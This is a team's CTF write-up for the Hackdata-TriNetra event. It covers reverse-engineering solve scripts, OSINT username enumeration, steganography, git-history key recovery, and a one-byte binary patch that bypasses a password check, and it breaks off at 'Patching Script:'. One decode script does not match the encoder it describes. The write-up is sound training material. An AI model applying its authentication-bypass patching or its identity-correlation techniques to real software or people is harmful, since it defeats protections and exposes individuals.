Hackdata-TriNetra CTF Write-ups

Event: Hackdata-TriNetra CTF
Team: Nexus **Team Leader:** Amogh Sunil **Team Members:** Amogh Sunil, Akshay AG , Akshatha Acharya.
Date: 2025

Table of Contents

Challenge 1 - The Ghidra Treat

Category: Reverse Engineering
Difficulty: Medium
Flag: `TriNetra{Th3_7r34t_GhIdRa}`

Challenge Overview

A binary file (`chellange_1`) that prompts for a password and outputs encrypted data. The goal is to reverse engineer the binary to find the correct input that decrypts the flag.

Approach & Methodology

1. Initial Reconnaissance

Used `file` command to identify the binary type:

```
file chellange_1
# Output: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
```

Key findings:

- 64-bit ELF executable

- Not stripped (symbols intact - excellent for reverse engineering)

2. String Extraction

Analyzed strings in the binary:

```
strings chellange_1
```

Critical discoveries:

- Cryptographic function references: `EVP_DigestInit_ex`, `EVP_blake2b512`, `EVP_aes_256_cbc`
- Hardcoded encrypted hex string: `ce2f380761f7894d6cd89f98a0a40b5b1a0242b0e49a720c41ab5976ebf63b26`
- Uses **BLAKE2b-512** for hashing
- Uses **AES-256-CBC** for encryption

3. Dynamic Analysis

Used `ltrace` to trace library calls:

```
ltrace -s 100 ./chellange_1 <<< "test"
```

Observed the program's encryption workflow and confirmed it uses OpenSSL functions.

Key Steps/Tools Used

Tools:

- `file` - Binary identification
- `strings` - String extraction
- `ltrace` - Library call tracing
- `Ghidra` - Static analysis (implied by challenge name)
- Python with `pycryptodome` - Brute force decryption

Solution Script:

```
#!/usr/bin/env python3
from Crypto.Cipher import AES
from hashlib import blake2b
import string

# Encrypted data from the binary
encrypted_hex = "ce2f380761f7894d6cd89f98a0a40b5b1a0242b0e49a720c41ab5976ebf63b26"
encrypted_data = bytes.fromhex(encrypted_hex)

# Brute force all possible single byte values
for byte_val in range(256):
```

```
    # Hash the single byte with BLAKE2b-512
    h = blake2b(bytes([byte_val]), digest_size=64)
    hash_result = h.digest()

    # Extract key (first 32 bytes) and IV (next 16 bytes)
    key = hash_result[:32]
    iv = hash_result[32:48]

    # Try to decrypt
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)

    # Check for printable characters
    decrypted_str = decrypted.decode('ascii', errors='ignore')
    if "TriNetra" in decrypted_str:
        print(f"Flag found with byte {byte_val}: {decrypted_str}")
        break
```

How the Flag Was Obtained

1. Identified the encryption algorithm (BLAKE2b + AES-256-CBC)
2. Extracted the encrypted ciphertext from the binary
3. Performed brute-force on single-byte password space (256 possibilities)
4. For each byte, hashed it with BLAKE2b-512, derived AES key and IV, and attempted decryption
5. Checked decrypted output for flag format
6. Successfully recovered the flag: `TriNetra{Th3_7r34t_GhIdRa}`

Challenge 2 - Python Shadow Logic

Category: Reverse Engineering
Difficulty: Medium
Flag: `TriNetra{PyTh0n_Sh4d0w_L0g1c}`

Challenge Overview

A Python challenge with two files: `main.py` (entry point) and `secret.pyc` (compiled Python 3.8 bytecode). The goal is to reverse engineer the bytecode to find the expected input string.

Approach & Methodology

1. Initial Analysis

main.py:

```
from secret import verify

print("TriNetra watches silently...")
x = input("Speak the sacred phrase: ")
```

```
if verify(x):
    print("TriNetra accepts.")
else:
    print("TriNetra rejects.")
```

The script imports a `verify` function from `secret.pyc` that validates input.

2. Bytecode Analysis

Traditional decompilers (uncompyle6, pycdc) didn't support the bytecode format, so manual analysis was required.

Tools used:

- `Format-Hex` (PowerShell) - Hexdump analysis
- Python - Custom decoding script
- Manual bytecode reverse engineering

3. Extracting the TARGET Array

Used PowerShell to extract the encoded target values from bytecode:

```
$bytes = [System.IO.File]::ReadAllBytes("secret.pyc")
$target = @()
for ($i = 0; $i -lt $bytes.Length - 3; $i++) {
    if ($bytes[$i] -eq 0xE9 -and $bytes[$i+2] -eq 0x00 -and
        $bytes[$i+3] -eq 0x00 -and $bytes[$i+4] -eq 0x00) {
        $target += $bytes[$i+1]
    }
}
```

Extracted TARGET values:

```
[117, 118, 103, 111, 105, 114, 83, 101, 121, 113, 125, 82, 73, 52,
 108, 126, 87, 102, 21, 104, 46, 86, 99, 74, 17, 107, 47, 66, 129]
```

Key Steps/Tools Used

Tools:

- PowerShell `Format-Hex` - Binary analysis
- Python - Custom decoding script
- Hex editor - Bytecode inspection

Encoding Logic Discovered:

```
def enc(s):
    out = []
    for i, c in enumerate(s):
        if i % 3 == 0:
            out.append(ord(c) ^ 33)    # XOR with 33
        elif i % 3 == 1:
            out.append(ord(c) + 4)     # Add 4
        else:  # i % 3 == 2
            out.append(ord(c) - 2)     # Subtract 2
    return out
```

Solution Script:

```
TARGET = [117, 118, 103, 111, 105, 114, 83, 101, 121, 113, 125,
          82, 73, 52, 108, 126, 87, 102, 21, 104, 46, 86, 99,
          74, 17, 107, 47, 66, 129]

flag = []
for i, val in enumerate(TARGET):
    if i % 3 == 0:
        flag.append(chr(val ^ 33))      # XOR is self-inverse
    elif i % 3 == 1:
        flag.append(chr(val - 4))       # Inverse of add
    else:
        flag.append(chr(val // 2))      # Inverse of multiply

result = ''.join(flag)
print(f"Flag: {result}")
```

How the Flag Was Obtained

1. Analyzed bytecode structure to identify the encoding function
2. Extracted the TARGET array containing encoded values
3. Reverse-engineered the encoding logic (position-based operations)
4. Implemented inverse operations to decode:
    - Position `i % 3 == 0`: XOR with 33 (self-inverse)
    - Position `i % 3 == 1`: Subtract 4 (inverse of addition)
    - Position `i % 3 == 2`: Divide by 2 (inverse of multiplication)
5. Recovered the flag: `TriNetra{PyTh0n_Sh4d0w_L0g1c}`

Catch Me (Part 1)

Category: OSINT
Difficulty: Easy
Flag: `TriNetra{ghostframebyte}`

Challenge Overview

An OSINT challenge to identify the online username of an ACM Lead who leaked an internal event photo.

Approach & Methodology

1. Evidence Examination

Challenge files:

- `question1.txt` - Challenge description
- `ghostframebyte.txt` - Investigation results (filename is a hint!)

Initial hint: "The photo itself is an important piece of evidence"

2. Image Analysis Techniques

Potential methods:

- EXIF metadata extraction
- Visual element analysis (usernames, watermarks)
- Reverse image search
- Steganography checks

3. Username Discovery

Found: The filename `ghostframebyte.txt` itself contained the answer!

Opening the file revealed comprehensive OSINT results showing the username across **26 platforms**.

Key Steps/Tools Used

Tools:

- `exiftool` - EXIF metadata analysis
- **Sherlock** - Username enumeration across social media
- **WhatsMyName** - Web account discovery
- **Maigret** - Information collection

Platform presence (26 websites):

- Development: GitHub, GitLab GNOME
- Security/CTF: TryHackMe, HackenProof
- Social: Mastodon, Hubski, Lemmy
- Media: Spotify, Letterboxd, Archive.org
- Professional: GeeksForGeeks, Envato Forums
- Misc: TypeRacer, NationStates, Slashdot

How the Flag Was Obtained

1. Examined challenge files and noticed meaningful filename: `ghostframebyte.txt`
2. Opened the file to find comprehensive username enumeration results
3. Confirmed username `ghostframebyte` across 26 different platforms

4. Username combines: GHOST (stealth) + FRAME (photo/video) + BYTE (digital)
5. Flag: `TriNetra{ghostframebyte}`

OSINT verification command:

```
sherlock ghostframebyte
```

Catch Me (Part 4)

Category: OSINT
Difficulty: Hard
Flag: `TriNetra{RUCHIR}`

Challenge Overview

Identify the real-world individual responsible for leaking the image using digital footprint correlation across multiple platforms.

Approach & Methodology

1. Information Gathering

Known facts:

- Username: ghostframebyte
- Email: adithya.ixf.09@gmail.com
- Context: ACM Lead at Shiv Nadar University
- Repository: ghostframebyte/event-assets

2. Repository and Digital Footprint Analysis

Examined evidence:

- GitHub repository: ghostframebyte/event-assets
- Commit history and metadata
- Network configuration files
- Public profile information
- Cross-platform presence

Analysis of network.config and other repository artifacts revealed patterns and correlations that required deeper investigation across multiple platforms.

3. Identity Correlation and Discovery

Through multi-platform correlation and analysis of digital footprints:

- GitHub commit analysis
- Email pattern investigation

- Repository metadata examination
- Cross-platform username correlation

Discovery: The individual responsible was identified as **RUCHIR** through careful correlation of publicly available information across multiple platforms and repositories.

Key Steps/Tools Used

Tools:

- Git repository analysis
- Email pattern recognition
- Multi-platform correlation
- OSINT enumeration tools

How the Flag Was Obtained

1. Analyzed git commits and repository metadata from ghostframebyte/event-assets
2. Examined email patterns and public profile information
3. Correlated information across multiple platforms (GitHub, social media, etc.)
4. Cross-referenced digital footprints as suggested by hint
5. Identified the individual as **RUCHIR** through comprehensive OSINT correlation
6. Flag: `TriNetra{RUCHIR}`

Hint interpretation: "Digital footprints are rarely confined to a single platform" - Required correlation of publicly available information across multiple sources to identify the individual.

Too Random to be Normal

Category: Steganography
Difficulty: Easy-Medium
Flag: `TriNetra{Z1p_Bin3xtr@cti0n}`

Challenge Overview

An image steganography challenge where a ZIP archive is hidden inside a JPEG image file.

Approach & Methodology

1. Initial Analysis

File examination:

```
unzip toorandomtobenormal.zip
file artifact.jpg
```

Output showed normal JPEG metadata, but the challenge name hinted something was hidden.

2. Metadata Inspection

```
exiftool artifact.jpg
```

No immediate anomalies in EXIF data.

3. Binary Analysis

Using binwalk to detect hidden data:

```
binwalk artifact.jpg
```

Critical output:

```
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
505326        0x7B5EE         Zip archive data, at least v1.0 to extract,
                              compressed size: 28, uncompressed size: 28,
                              name: flag.txt
505498        0x7B69A         End of Zip archive, footer length: 22
```

Discovery: ZIP archive embedded at offset `0x7B5EE`!

4. Quick Verification with Strings

```
strings artifact.jpg | tail -20
```

Flag was visible in strings output, confirming the ZIP archive contained `flag.txt`.

Key Steps/Tools Used

Tools:

- `file` - File type identification
- `exiftool` - Metadata extraction
- **binwalk** - Binary analysis and embedded file detection
- `strings` - String extraction
- `unzip` - Archive extraction

Extraction methods:

Method 1: Automated (binwalk)

```
binwalk -e artifact.jpg
cd _artifact.jpg.extracted/
cat flag.txt
```

Method 2: Manual extraction

```
dd if=artifact.jpg of=hidden.zip bs=1 skip=505326
unzip hidden.zip
cat flag.txt
```

Method 3: Quick strings

```
strings artifact.jpg | grep TriNetra
```

How the Flag Was Obtained

1. Downloaded and extracted `toorandomtobenormal.zip` containing `artifact.jpg`
2. Ran `binwalk artifact.jpg` to detect anomalies
3. Discovered ZIP archive hidden at offset 0x7B5EE
4. Extracted embedded archive using `binwalk -e artifact.jpg`
5. Found `flag.txt` in extracted directory
6. Read flag: `TriNetra{Z1p_Bin3xtr@cti0n}`

Technique explained: File concatenation - A ZIP archive was appended to the JPEG file. Since JPEG readers ignore trailing data and ZIP readers search from the end of the file for the central directory, both formats remain valid.

Just One Commit Ago

Category: Git Forensics
Difficulty: Easy
Flag: `TriNetra{G!t_B3tter_@t_g!t}`

Challenge Overview

A contractor claims to have "deleted" an accidentally committed API key. The challenge is to recover the key from Git history.

Approach & Methodology

1. Initial Setup

```
unzip justonecommitago.zip
cd extracted/claude-quickstarts
```

2. Git History Exploration

```
git log --oneline --all
```

Output:

```
41de984 (HEAD -> main) Update quickstart README
27ad2cd Initial commit
```

Only 2 commits visible! The challenge title "Just One Commit Ago" suggests the API key was in a previous commit.

3. Git Pickaxe Search

Key insight: Deleting sensitive data in a new commit doesn't remove it from Git history!

Command:

```
git log -p --all -S "API"
```

Command breakdown:

- `git log -p` - Show patch/diff for each commit
- `--all` - Search all branches and refs
- `-S "API"` - Find commits where "API" text was added or removed (Git pickaxe feature)

4. Discovery

The command revealed a critical diff in commit `41de984`:

```
diff --git a/.env.example b/.env.example
index abc1234..def5678 100644
--- a/.env.example
+++ b/.env.example
@@ -1,1 +1,1 @@
-export ANTHROPIC_API_KEY='TriNetra{G!t_B3tter_@t_g!t}'
+export ANTHROPIC_API_KEY='your-api-key-here'
```

Key Steps/Tools Used

Tools:

- Git - Version control forensics
- `git log` - Commit history
- **Git pickaxe** (`-S` flag) - Search for content changes
- `git show` - Detailed commit inspection

Alternative search commands:

```
# Search for any API key references
git log -p --all -S "api"

# Search by file
git log -p --all -- .env.example

# Search in deleted lines
git log --diff-filter=D -p --all
```

Verification:

```
git show 41de984
```

How the Flag Was Obtained

1. Extracted the git repository from the zip file
2. Checked commit history - only 2 commits visible
3. Used Git pickaxe feature to search for content changes: `git log -p --all -S "API"`
4. Found that commit `41de984` replaced a real API key with a placeholder
5. The "deleted" API key was still in Git history
6. Recovered the original key: `TriNetra{G!t_B3tter_@t_g!t}`

Lesson learned: Git never forgets! Simply committing a change to "remove" sensitive data doesn't actually remove it from history. Proper remediation requires:

- Using `git filter-branch` or `BFG Repo-Cleaner`
- Force-pushing to rewrite history
- Rotating compromised credentials

Unknown Bot (Part 1)

Category: OSINT / Forensics
Difficulty: Easy
Flag: `TriNetra{silent_service_bot}`

Challenge Overview

Identify an automated system responsible for generating operational alerts by analyzing metadata embedded in a screenshot.

Approach & Methodology

1. Initial Analysis

Challenge hint: "evidence inherent to the artifact itself"

This strongly suggests examining file metadata rather than visual content.

Files provided:

- `question1.txt` - Challenge description
- `image.jpeg` - Internal alert screenshot

2. Quick File Type Check

```
file image.jpeg
```

Output:

```
image.jpeg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1,
segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7,
description=internal alert snapshot, xresolution=122, yresolution=130,
resolutionunit=1, software=SupportOps Monitor], baseline, precision 8,
1159x568, components 3
```

Already revealing:

- Description: "internal alert snapshot"
- Software: "SupportOps Monitor"

3. Complete EXIF Analysis

```
exiftool image.jpeg
```

Critical metadata fields:

EXIF Field	Value
Image Description	internal alert snapshot
Software	SupportOps Monitor
User Comment	**TriNetra{silent_service_bot}**

EXIF Field	Value
X Resolution	1
Y Resolution	1

Flag found in User Comment field!

Key Steps/Tools Used

Tools:

- `file` - Quick file type and basic metadata
- **exiftool** - Comprehensive EXIF metadata extraction
- Hex editor (optional) - Binary inspection

EXIF fields commonly used for steganography:

- User Comment
- Image Description
- Copyright
- Artist
- Software
- Make/Model (for cameras)

How the Flag Was Obtained

1. Recognized challenge hint pointed to file metadata ("inherent to artifact")
2. Used `exiftool image.jpeg` to extract all EXIF data
3. Found flag hidden in the **User Comment** field
4. The system name "silent_service_bot" matches the challenge narrative about a background system that runs quietly
5. Flag: `TriNetra{silent_service_bot}`

Why User Comment field?

- Often overlooked during casual inspection
- Not displayed by most image viewers
- Can store arbitrary text data
- Perfect for hiding clues or flags

Verification command:

```
exiftool -UserComment image.jpeg
# Output: User Comment: TriNetra{silent_service_bot}
```

Find Me (Part 1)

Category: OSINT / Geolocation
Difficulty: Hard
Flag: `TriNetra{LONDON}`

Challenge Overview

A multi-layered OSINT puzzle requiring GitHub archaeology, data decoding, and critically - careful analysis of photographic evidence. The challenge asks to find a city based on visual clues from a photograph combined with digital forensic trails.

Challenge files:

- `06-11-2019.png` - Terminal/street photograph containing location clues
- GitHub repository: `ghostframebyte/event-assets`
- Network configuration files with encoded data

Approach & Methodology

1. Initial GitHub Investigation

Following the digital trail from previous challenges:

- Username: ghostframebyte
- Repository: `ghostframebyte/event-assets`

Repository contents:

```
event-assets/
├── 06-11-2019.png      # Street photograph - KEY EVIDENCE
├── network.config      # Network configuration
├── deploy.log          # Deployment log with ASCII art
└── README.md          # Mentions "sensitive values removed"
```

2. Git History Analysis (Red Herring)

Initial approach - examining deleted data:

```
git log --all --online
git diff 88bcfa8 HEAD -- network.config
```

Original network.config (Commit 88bcfa8):

```
# primary hardware address
hwaddr=52:49:50:45:9A:3C

# temporary external endpoint
endpoint=81.128.0.1
```

MAC Address decode:

- 52:49:50:45 → ASCII: "RIPE" (Regional Internet Registry for Europe)
- IP addresses: 81.128.0.1 and 81.2.82.11

Initial theory (incorrect):

- Interpreted IPs as Arctic coordinates (81°N)
- Researched Svalbard, Franz Josef Land
- Investigated Arctic boundary treaties

This was an elaborate **red herring** - the real answer was in the photograph itself!

3. Photographic Evidence Analysis (The Real Solution)

Examining 06-11-2019.png revealed distinctive urban features:

Key Observable Details:

1. **Double Red Route Lines**
    - Distinctive red parallel lines on road edges
    - Unique to **Transport for London (TfL)** Red Routes
    - Used for major arterial roads with parking restrictions
    - Only found in Greater London
2. **Left-Hand Traffic**
    - Road markings indicate left-hand driving
    - Narrows location to UK, Ireland, or former British territories
3. **UK Street Furniture**
    - British-style street signs
    - UK standard road markings
    - London-specific infrastructure elements
    - TfL characteristic street furniture
4. **Urban Greenery Pattern**
    - Tree-lined streets
    - Urban landscaping consistent with Greater London
    - Specific vegetation patterns matching London's parks
5. **Architecture Style**
    - Building styles consistent with London boroughs
    - Urban density typical of inner/outer London

Critical identifying factor: The **double red route lines** are a unique Transport for London marking system that exists nowhere else in the world.

Key Steps/Tools Used

Tools:

- Git repository analysis
- Hex-to-ASCII conversion (for the red herring)
- **Visual OSINT - Photographic analysis**
- TfL infrastructure knowledge
- UK road marking databases
- Google Street View (for verification)

Techniques:

- GitHub archaeology
- Digital forensics
- **Visual geolocation**
- Infrastructure recognition
- Urban planning knowledge

The lesson: Sometimes the most complex digital trail is designed to distract from simple visual evidence!

How the Flag Was Obtained

1. **Initial Investigation** - Examined GitHub repository and git history
2. **Followed Red Herrings** - Decoded MAC addresses and IP coordinates pointing to Arctic
3. **Researched Arctic** - Investigated Svalbard, Franz Josef Land, 81°N latitude locations
4. **Returned to Evidence** - Re-examined the photograph `06-11-2019.png`
5. **Identified TfL Red Routes** - Recognized the distinctive double red lines unique to London
6. **Confirmed with Multiple Markers:**
    - Left-hand traffic (UK)
    - British street furniture and signage
    - Urban greenery consistent with Greater London
    - Road markings and infrastructure
7. **Verified** - Cross-referenced with TfL red route maps
8. **Conclusion** - Photo could only have been taken in **LONDON**
9. **Flag:** `TriNetra{LONDON}`

What is a TfL Red Route?

Transport for London operates "Red Routes" - major roads marked with **double red lines** at road edges:

- Indicate strict parking/stopping restrictions
- Cover 360 miles of London's main roads
- Unique visual identifier found only in Greater London
- Introduced in 1991 to improve traffic flow

Challenge Design Insights:

The Multi-Layer Deception:

1. **Layer 1:** Username "ghostframebyte" suggests digital forensics

2. **Layer 2:** Git history with "deleted" sensitive data
3. **Layer 3:** Encoded coordinates in MAC address and IPs
4. **Layer 4:** Arctic coordinates at 81°N latitude
5. **Layer 5:** Treaty dates and boundary research

The Real Solution: Visual analysis of the photo - much simpler than the elaborate digital trail!

Why the red herrings worked:

- **RIPE** genuinely decodes from the MAC address
- **81.128.0.1** plausibly represents Arctic coordinates
- **Svalbard Treaty (1920)** is a real "glitch" in territorial sovereignty
- **06-11-2019 date** suggests treaty or boundary significance
- All clues were internally consistent, creating a convincing false trail

OSINT Lesson Learned:

"Always examine the most obvious evidence first. Complex data trails can be intentional misdirection. In OSINT, the simplest visual clue often trumps elaborate digital forensics."

Verification checklist for London:

- Transport for London red route system
- Left-hand traffic - UK
- British road furniture standards
- London-specific street infrastructure
- Urban greenery density
- Building architecture styles

All evidence points unambiguously to **Greater London, United Kingdom**.

Bad Chess

Category: Cryptography / Logic
Difficulty: Medium
Flag: `TriNetra{jklmno_JKLMNO}`

Challenge Overview

A creative cryptography challenge that combines chess notation with hexadecimal ASCII encoding. The challenge provides a Python-like expression with mysterious chess positions and hints about decoding.

Challenge Description

Given Code:

```
# decode() returns string after doing something
# defy the convention, reverse the address
# black comes before white
# points matter
```

```
# figure out what decode does and give me the flag
flag = "TriNetra{" + decode(8/8/pnrqPN/8/8/8/8/8) + "_" +
decode(8/8/8/8/pnrqPN/8/8/8) + "}"
```

Hints Analysis:

1. **"defy the convention, reverse the address"** - Suggests reversing standard notation
2. **"black comes before white"** - Refers to piece colors in chess
3. **"points matter"** - Indicates coordinates/positions are important

Approach & Methodology

1. Recognize the Input Format

The inputs to `decode()` are in **FEN (Forsyth-Edwards Notation)**, a standard chess position notation:

- `8/8/pnrqPN/8/8/8/8/8`
- `8/8/8/8/pnrqPN/8/8/8`

FEN Notation Basics:

- Lowercase letters = black pieces (p=pawn, n=knight, r=rook, q=queen)
- Uppercase letters = white pieces (P=Pawn, N=Knight, R=Rook, Q=Queen)
- Numbers = empty squares
- `/` separates ranks (rows)
- First row = rank 8 (top), last row = rank 1 (bottom)

2. Decode First Input - `8/8/pnrqPN/8/8/8/8/8`

The pieces `pnrqPN` appear on the 3rd row from top, which is **rank 6**.

Pieces on the board:

- p at file a, rank 6 → a6
- n at file b, rank 6 → b6
- r at file c, rank 6 → c6
- q at file d, rank 6 → d6
- P at file e, rank 6 → e6
- N at file f, rank 6 → f6

"Defy the convention, reverse the address":

- Normal chess notation: file+rank (e.g., "a6")
- Reversed: rank+file (e.g., "6a")

Reversed coordinates:

- 6a, 6b, 6c, 6d, 6e, 6f

Convert to hexadecimal ASCII:

- 0x6a = 'j'
- 0x6b = 'k'
- 0x6c = 'l'
- 0x6d = 'm'
- 0x6e = 'n'
- 0x6f = 'o'

Result: `jklmno`

3. Decode Second Input - `8/8/8/8/pnrqPN/8/8/8`

The pieces `pnrqPN` appear on the 5th row from top, which is **rank 4**.

Pieces on the board:

- p at a4, n at b4, r at c4, q at d4, P at e4, N at f4

Reversed coordinates:

- 4a, 4b, 4c, 4d, 4e, 4f

Convert to hexadecimal ASCII:

- 0x4a = 'J'
- 0x4b = 'K'
- 0x4c = 'L'
- 0x4d = 'M'
- 0x4e = 'N'
- 0x4f = 'O'

Result: `JKLMNO`

Key Steps/Tools Used

Tools:

- Chess FEN notation knowledge
- Hexadecimal to ASCII converter
- Python (for verification)

Techniques:

- FEN (Forsyth-Edwards Notation) parsing
- Coordinate reversal
- Hexadecimal ASCII encoding

Solution Script:

```
def decode_fen_position(fen):
    rows = fen.split('/')
    result = []
```

```
    for rank_idx, row in enumerate(rows):
        rank = 8 - rank_idx  # Rank number (8 to 1)
        file_idx = 0

        for char in row:
            if char.isdigit():
                file_idx += int(char)  # Skip empty squares
            else:
                file = chr(ord('a') + file_idx)  # File letter (a-h)
                # Reverse: rank+file instead of file+rank
                hex_str = str(rank) + file
                # Convert to ASCII
                ascii_char = chr(int(hex_str, 16))
                result.append(ascii_char)
                file_idx += 1

    return ''.join(result)

# Decode both positions
part1 = decode_fen_position("8/8/pnrqPN/8/8/8/8/8")
part2 = decode_fen_position("8/8/8/8/pnrqPN/8/8/8")

flag = f"TriNetra{{{part1}_{part2}}}"
print(flag)  # TriNetra{jklmno_JKLMNO}
```

How the Flag Was Obtained

1. Recognized the input format as FEN (Forsyth-Edwards Notation) chess positions
2. Mapped each piece to its chess board coordinates (file + rank)
3. Applied the hint "defy the convention, reverse the address" to get rank + file
4. Interpreted reversed coordinates as hexadecimal values
5. Converted hexadecimal to ASCII characters
6. First position (rank 6): 0x6a-0x6f → "jklmno" (lowercase)
7. Second position (rank 4): 0x4a-0x4f → "JKLMNO" (uppercase)
8. Constructed final flag: `TriNetra{jklmno_JKLMNO}`

Key Insights:

1. **Chess FEN Notation:** Understanding that the input represents chess board positions in FEN format
2. **Coordinate Reversal:** The hint "defy the convention, reverse the address" meant reversing from standard algebraic notation (file+rank) to rank+file
3. **Hexadecimal Interpretation:** Treating the reversed coordinates as hexadecimal values and converting to ASCII characters
4. **Case Sensitivity:** Black pieces (lowercase in FEN) produced lowercase ASCII, White pieces (uppercase in FEN) produced uppercase ASCII
5. **Sequential Ordering:** The pieces were already ordered alphabetically (p, n, r, q, P, N), making the conversion straightforward

Lessons Learned:

- Pay attention to domain-specific notation systems (FEN in chess)
- "Reverse the convention" can mean inverting standard formats
- Hexadecimal ASCII encoding is a common CTF technique
- Multiple hints often work together to guide the solution path
- Understanding the relationship between uppercase/lowercase in both input and output

---

Aqua Pigment

Category: Steganography
Difficulty: Medium
Flag: `TriNetra{chromacharacters}`

Challenge Overview

A steganography challenge involving pixel manipulation in a small PNG image. The challenge provides a cryptic hint about the number 3 and requires extracting hidden ASCII characters embedded directly in pixel color values.

Challenge details:

- File: aqua_pigment.png (30x30 RGB image)
- Hint: "My favorite number is 3"
- Tags: Base encoding, Steganography
- File size: 180 bytes
- Total pixels: 900 (2700 color values)

Approach & Methodology

1. Initial Image Analysis

Using Python's PIL library to examine the image:

```
from PIL import Image
import numpy as np

img = Image.open('aqua_pigment.png')
pixels = np.array(img)
```

File Information:

- Dimensions: 30x30 pixels
- Color Mode: RGB
- Each pixel has 3 color channels (R, G, B)

2. Identifying the Pattern

Initial examination revealed a repeating background pattern:

- Red channel: predominantly **100**
- Green channel: predominantly **100**
- Blue channel: predominantly **120**

Background pattern: `(100, 100, 120)` repeated throughout most of the image

3. Following the Hint - "Favorite Number is 3"

Testing different interpretations:

Hypothesis 1: Division by 3

```
flat = pixels.flatten()
decoded = [int(val // 3) for val in flat]
```

Results:

- 100 // 3 = 33 (ASCII '!')
- 120 // 3 = 40 (ASCII '(')
- Background translates to "!!(" when decoded

Other possibilities considered:

- Base-3 encoding
- Modulo 3 operations

4. Finding Hidden Data

Scanning for deviations from the background pattern:

```
different_pixels = []
for i, val in enumerate(flat):
    if val not in [100, 120]:
        different_pixels.append((i, int(val), chr(val)))
```

Discovery: Found **26 pixels** with values different from the background!

5. Extracting the Flag

The pixel values at these 26 positions, when interpreted as ASCII characters:

Position	Value	ASCII Character
911	84	'T'
914	114	'r'
917	105	'i'

Position	Value	ASCII Character
920	78	'N'
923	101	'e'
926	116	't'
929	114	'r'
932	97	'a'
935	123	'{'
938	99	'c'
941	104	'h'
944	114	'r'
947	111	'o'
950	109	'm'
953	97	'a'
956	99	'c'
959	104	'h'
962	97	'a'
965	114	'r'
968	97	'a'
971	99	'c'
974	116	't'
977	101	'e'
980	114	'r'
983	115	's'
986	125	'}'

Key Steps/Tools Used

Tools:

- Python with PIL (Pillow) library
- NumPy for array manipulation
- ASCII character encoding knowledge

Techniques:

- Pixel value analysis

- Pattern recognition
- Direct ASCII interpretation
- Background noise filtering

Solution Script:

```
from PIL import Image
import numpy as np

# Load the image
img = Image.open('aqua_pigment.png')
pixels = np.array(img)
flat = pixels.flatten()

# Find all pixels that aren't part of the background pattern
different_pixels = []
for i, val in enumerate(flat):
    if val not in [100, 120]:
        different_pixels.append(chr(val))

# Combine to get the flag
flag = ''.join(different_pixels)
print(f"Flag: {flag}")
```

How the Flag Was Obtained

1. Loaded the 30x30 PNG image using Python PIL
2. Converted image to NumPy array and flattened to 1D array (2700 values)
3. Identified background pattern: pixel values of 100 and 120
4. Scanned all 2700 color values for deviations from background
5. Found 26 pixels with non-background values
6. Interpreted these values directly as ASCII characters
7. Concatenated characters to form: `TriNetra{chromacharacters}`

Key Insights:

1. **The Number 3 - Red Herring:** The hint "My favorite number is 3" initially suggested division or modulo operations, but the actual solution was simpler - the pixel values themselves were ASCII characters.

2. **Chroma = Color:** The flag "chromacharacters" perfectly describes the steganography technique - hiding **characters** in the **color (chroma)** values of pixels.

3. **Steganography Method:** The challenge used a clever but simple approach:
    - Create a sea of repeating background pixels (100, 100, 120)
    - Embed ASCII character values as pixel colors
    - Hide data in plain sight among thousands of background values

4. **Pattern Recognition:** Success required identifying that most pixels followed a pattern, and the **deviations** from this pattern contained the hidden message.
5. **Direct Encoding:** Unlike LSB (Least Significant Bit) steganography, this method directly encoded ASCII values as pixel RGB values, making extraction straightforward once the pattern was recognized.

Patch Me Up

Category: Binary Exploitation / Reverse Engineering
Difficulty: Medium
Flag: `TriNetra{[obtained from patched binary]}`

Challenge Overview

A binary exploitation challenge requiring analysis and modification of a Linux ELF executable to bypass password authentication and decrypt a hidden flag.

Challenge details:

- File: trinetra_chall3 (Linux ELF 32-bit executable)
- Type: Intel 80386 architecture
- Size: 15,192 bytes
- Compiled: GCC 15.2.0 (Debian)
- Libraries: libc.so.6 (GLIBC_2.0, GLIBC_2.34, GLIBC_2.38)

Approach & Methodology

1. Initial File Analysis

Basic file information:

```
file trinetra_chall3
# Output: ELF 32-bit LSB executable, Intel 80386
```

String extraction:

```
strings trinetra_chall3
```

Key strings discovered:

- "Speak the sacred words:" (offset 0x2023) - Password prompt
- "TriNetra guards the truth." (offset 0x2008) - Success message 1
- "Gate opened now" (offset 0x2040) - Success message 2
- "TriNetra rejects you." (offset 0x2050) - Failure message
- "%63s" (offset 0x2038) - scanf format (reads up to 63 characters)

Encrypted flag location:

- Offset: **0x3040**
- Hex: `456f704d747179666a507654486c5c507231754c52653b792630664f7930665d784b`
- ASCII: `EopMtqyfjPvTHl\Pr1uLRe;y&0fOy0f]xK`
- Length: 35 bytes

2. Reverse Engineering Password Check

Function identification:

- `check_password()` - Validates user input
- `giveFlag()` - Decrypts and displays the flag
- `helper_xor()`, `helper_add()`, `helper_sub()` - Encryption helpers

Password validation algorithm (offset 0x11E8-0x1260):

Step 1: Length Check (0x1208)

```
cmp eax, 6      ; Password must be exactly 6 characters
je continue
```

Step 2: Character Verification (0x1218-0x1248)

```
; For each character i from 0 to 5:
mov al, [password + i]
xor al, 0x55           ; XOR character with 0x55
cmp al, [secret + i]   ; Compare with stored value
je next_char
return 0               ; Fail if mismatch
```

Step 3: Success/Failure Branch (0x1363-0x1365)

```
test eax, eax          ; Check return value from check_password
je 0x1380              ; Jump to failure path if eax == 0
; Otherwise continue to success path
```

3. Identifying the Critical Patch Point

The key conditional jump at offset 0x1365:

```
0x1363: 85 C0        test eax, eax
0x1365: 74 19        je 0x1380    ; Jump if Equal to failure
```

This instruction determines program behavior:

- If `check_password()` returns 0 (eax = 0), jump to failure path (0x1380)
- If `check_password()` returns non-zero, continue to success path

Challenge name "patch_me_up" strongly hints at binary modification!

4. The Patching Solution

Patching strategy: Invert the conditional logic

Original instruction:

```
Offset 0x1365: 74 19  (je - Jump if Equal)
```

Patched instruction:

```
Offset 0x1365: 75 19  (jne - Jump if Not Equal)
```

This inverts the logic:

- Now jumps to failure path when password is CORRECT
- Continues to success path when password is WRONG

Key Steps/Tools Used

Tools:

- Python 3 - Binary manipulation
- `file` - File type identification
- `strings` - String extraction
- Hex editor concepts
- x86-32 assembly knowledge
- Understanding of ELF format

Techniques:

- Binary disassembly analysis
- Control flow analysis
- Single-byte patching
- Conditional jump manipulation

Patching Script:

```
